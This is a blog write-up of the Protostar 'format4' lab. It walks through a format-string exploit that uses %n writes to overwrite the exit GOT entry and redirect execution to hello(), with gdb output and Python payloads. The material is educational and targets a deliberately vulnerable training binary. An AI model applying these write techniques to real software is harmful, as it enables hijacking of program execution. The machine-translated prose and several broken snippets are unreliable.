Security_RNRF

0x19. 본문

LiveOverFlow/Binary

0x19.

RNRF 2021. 11. 3. 00:54

19. Format String Exploit and overwirte the Global Offset Table - bin.0x13

: Content
-> format string exploit
-> arbitrary write
-> Overwriting GOT entry

: To dynamically link libraries to binaries (by default, how to program)

: Format4(C Code)(/opt/protostar/bin/format4)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);  
}

int main(int argc, char **argv)
{
  vuln();
}
-> The "main" function calls "vuln".
-> Read the standard input buffer up to 512 in the party is "vuln".
-> Then, use "printf" to output the buffer.
-> It can also be seen that the buffer is located as the first parameter of the "printf".
-> This is the type parameter.
-> After "printf", there is a call to "exit".
-> This means that this function will not be removed.
-> End this process by performing a "syscall" shutdown on the kernel.

: Therefore, if the function's return pointer is overwritten, it will never return, and it will not be available.
-> So we use the technology of the "0x12" video to overwrite the "GOT" entry for termination.
-> Run "hello" instead of ending through the address of "hello".

: First, let's see if there is a type string vulnerability.
-> You can specify a type character and verify that it is converted to a number.
-> ./format4
hello %x %x %x
hello 200 b7fd8420 bffff624
-> It works. Therefore, you need to find some addresses to activate the exploit.

-> Use "x" through "gdb" to verify the address of the "hello" function and examine "hello".
-> gdb ./format4
-> x hello
0x80484b4 <hello>:      0x83e58955
(python) -> HELLO = 0x80484b4
-> Find the global offset table where you want to create the "HELLO" address.
-> disassemble main
Dump of assembler code for function main:
0x08048514 <main+0>:    push   %ebp
0x08048515 <main+1>:    mov    %esp,%ebp
0x08048517 <main+3>:    and    $0xfffffff0,%esp
0x0804851a <main+6>:    call   0x80484d2 <vuln>
0x0804851f <main+11>:   mov    %ebp,%esp
0x08048521 <main+13>:   pop    %ebp
0x08048522 <main+14>:   ret
End of assembler dump.
-> disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   %ebp
0x080484d3 <vuln+1>:    mov    %esp,%ebp
0x080484d5 <vuln+3>:    sub    $0x218,%esp
0x080484db <vuln+9>:    mov    0x8049730,%eax
0x080484e0 <vuln+14>:   mov    %eax,0x8(%esp)
0x080484e4 <vuln+18>:   movl   $0x200,0x4(%esp)
0x080484ec <vuln+26>:   lea    -0x208(%ebp),%eax
0x080484f2 <vuln+32>:   mov    %eax,(%esp)
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048500 <vuln+46>:   mov    %eax,(%esp)
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   movl   $0x1,(%esp)
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
-> At the bottom, the end call is shown in the pro Caesar linkage table (plt).
-> diassemble 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>:        jmp    *0x8049724
0x080483f2 <exit@plt+6>:        push   $0x30
0x080483f7 <exit@plt+11>:       jmp    0x804837c
End of assembler dump.
-> If you disassemble the address, you can now refer to the first address.
-> It attempts to refer to the address from "glibc" there. So let's look into the address.
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
-> This is the global offset table.(= GOT)
-> Save the corresponding table address to the script.
(python) -> EXIT_PLT = 0x8049724
-> Set two breakpoints in "vuln". Before “printf” and after "printf".
-> break *0x08048503
-> break *0x0804850f
-> r
-> In "printf", the "exit" entry in the global offset table continues to run shutdown at the end of "hello" and "vuln".
-> Starting program: /opt/protostar/bin/format4
HELLO LiveOverflow
-> Now overwrite the "GOT" entry. And check.
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
->Write the address and value we want to write with the square bracket "int"
-> set {int}0x8049724=0x80484b4
(check) ->x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080484b4
-> And the entrance has been changed.
-> c
Continuing.
HELLO LiveOverflow

Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22      in format4/format4.c
-> disassemble main
Dump of assembler code for function main:
0x08048514 <main+0>:    push   %ebp
0x08048515 <main+1>:    mov    %esp,%ebp
0x08048517 <main+3>:    and    $0xfffffff0,%esp
0x0804851a <main+6>:    call   0x80484d2 <vuln>
0x0804851f <main+11>:   mov    %ebp,%esp
0x08048521 <main+13>:   pop    %ebp
0x08048522 <main+14>:   ret
End of assembler dump.
-> disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   %ebp
0x080484d3 <vuln+1>:    mov    %esp,%ebp
0x080484d5 <vuln+3>:    sub    $0x218,%esp
0x080484db <vuln+9>:    mov    0x8049730,%eax
0x080484e0 <vuln+14>:   mov    %eax,0x8(%esp)
0x080484e4 <vuln+18>:   movl   $0x200,0x4(%esp)
0x080484ec <vuln+26>:   lea    -0x208(%ebp),%eax
0x080484f2 <vuln+32>:   mov    %eax,(%esp)
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048500 <vuln+46>:   mov    %eax,(%esp)
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   movl   $0x1,(%esp)
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
-> We are now at the exit. Let's keep running "exit" or "hello."
-> c
Continuing.
code execution redirected! you win

Program exited with code 01.

: Now, let's try these writes with a format string and a "%n".
-> The first is to exit the debugger and find the string you entered in the stack.
-> I know the buffer length is 512 bytes. Creates a function that fills a string with its length.
-> Therefore, you can add a certain number of characters to the string.
-> Then create a variable exploit and output the padded variable.
-> python Code
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
        return s+"X"*(512-len(s))

exploit = “”
exploit += “%x “*4

print pad(exploit)
-> python /tmp/exp.py
%x %x %x %x XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> When enabled, you can view the exploit string and fill the 512 buffer.
-> python /tmp/exp.py | ./format4
200 b7fd8420 bffff624 25207825 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> Now add strings in front of the characters you can recognize.
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
        return s+"X"*(512-len(s))

exploit = “”
exploit += “AAAABBBBCCCC”
exploit += “%x “*4

print pad(exploit)
-> python /tmp/exp.py | ./format4
AAAABBBBCCCC200 b7fd8420 bffff624 41414141 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> The string we entered already begins with the fourth value.
-> You can now refer specifically to the format string using numeric dollar notation.
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
        return s+"X"*(512-len(s))

exploit = “”
exploit += “AAAABBBBCCCC”
exploit += “%4$x “*4

print pad(exploit)
-> "%4$" means trying to refer to the fourth parameter of "printf" without going through the parameter.
-> python /tmp/exp.py | ./format4
AAAABBBBCCCC41414141 41414141 41414141 41414141 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> Now all values are 414141411.
-> Remember that you can write the number of output characters using "%n".
-> Therefore, you can change the character to a global offset table address.

-> Use "struct" to convert an integer address to a binary string.
-> Then change "%x" to "%n".
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
        return s+"X"*(512-len(s))

exploit = “”
exploit += “struct.pack(”I”, EXIT_PLT)
exploit += “AAAABBBBCCCC”
exploit += “%4$n “*4

print pad(exploit)
-> First, write the output of this script to a file so that it can be used as an input in "gdb".
-> python exp.py > exp
-> gdb ./format4
-> diassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   %ebp
0x080484d3 <vuln+1>:    mov    %esp,%ebp
0x080484d5 <vuln+3>:    sub    $0x218,%esp
0x080484db <vuln+9>:    mov    0x8049730,%eax
0x080484e0 <vuln+14>:   mov    %eax,0x8(%esp)
0x080484e4 <vuln+18>:   movl   $0x200,0x4(%esp)
0x080484ec <vuln+26>:   lea    -0x208(%ebp),%eax
0x080484f2 <vuln+32>:   mov    %eax,(%esp)
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048500 <vuln+46>:   mov    %eax,(%esp)
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   movl   $0x1,(%esp)
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
-> break *0x08048503
-> break *0x0804850f
-> r < /tmp/exp
-> disassemble 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>:        jmp    *0x8049724
0x080483f2 <exit@plt+6>:        push   $0x30
0x080483f7 <exit@plt+11>:       jmp    0x804837c
End of assembler dump.
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
-> c
Continuing.

Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22      in format4/format4.c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x00000013
-> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00000013 in ?? ()

: Now all we have to do is print out the "enpugh" character so that we can reach the number, which is the address.

: The idea is that you can first use two bytes lower for a smaller price.
-> hello(): 08  04  84  B4
-> GOT: 00  00  00  00
      1.84  B4
            2.08  04
-> Then perform another write at address+2 to write another smaller value to higher.

-> Add code with “vim exp.py”
exploit += “%4$30x”
exploit += “%4$n”
-> Again Run.
-> r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/format4 < /tmp/exp

Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20
20      in format4/format4.c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
-> c
Continuing.

Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22      in format4/format4.c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x0000002e

-> If the padding is 30, the hexadecimal 0x2e(46) can be used. (0x2e = 46)
-> The goal is to create two sub-bates and want them to be 0x84B4. That is 33972. (0x84B4 = 33972)
-> 46-30(pad) = 16

-> Change code
exploit += “%4$33956”
exploit += “%4$n”
-> Again Run.
-> r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/format4 < /tmp/exp

Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20
20      in format4/format4.c
-> c
Continuing.
$AAAABBBBCCCC (a blank space…)
Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22      in format4/format4.c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x000084b4

-> Now move the addresses forward by two to process the two parent bytes.
-> Change code
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
        return s+"X"*(512-len(s))

exploit = ""
exploit += struct.pack("I", EXIT_PLT)
exploit += struct.pack("I", EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%4$33956x"
exploit += "%4$n"
exploit += "%30x"
exploit += "%5$n"
print pad(exploit)
-> r
-> c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x84d284b4
-> 0x84D2 => 0x10804 - 0x84D2 = 8332
-> Hex: 8332 = DEC: 33586
-> 33586 + 30(padding) = 33616

-> Change code
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
        return s+"X"*(512-len(s))

exploit = ""
exploit += struct.pack("I", EXIT_PLT)
exploit += struct.pack("I", EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%4$33956x"
exploit += "%4$n"
exploit += "%33616x"
exploit += "%5$n"
print pad(exploit)
-> r
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
-> c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080484b4
-> x 0x080484b4
0x80484b4 <hello>:      0x83e58955
-> c
Continuing.
 200XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXcode execution redirected! you win

Program exited with code 01.

: How to control a command using harmless functions such as "printf" is really crazy.

'LiveOverFlow > Binary' 카테고리의 다른 글

0x21.  (0) 2021.11.03
0x20.  (0) 2021.11.03
0x18.  (0) 2021.11.03
0x17.  (0) 2021.11.03
0x16.  (0) 2021.11.03
Comments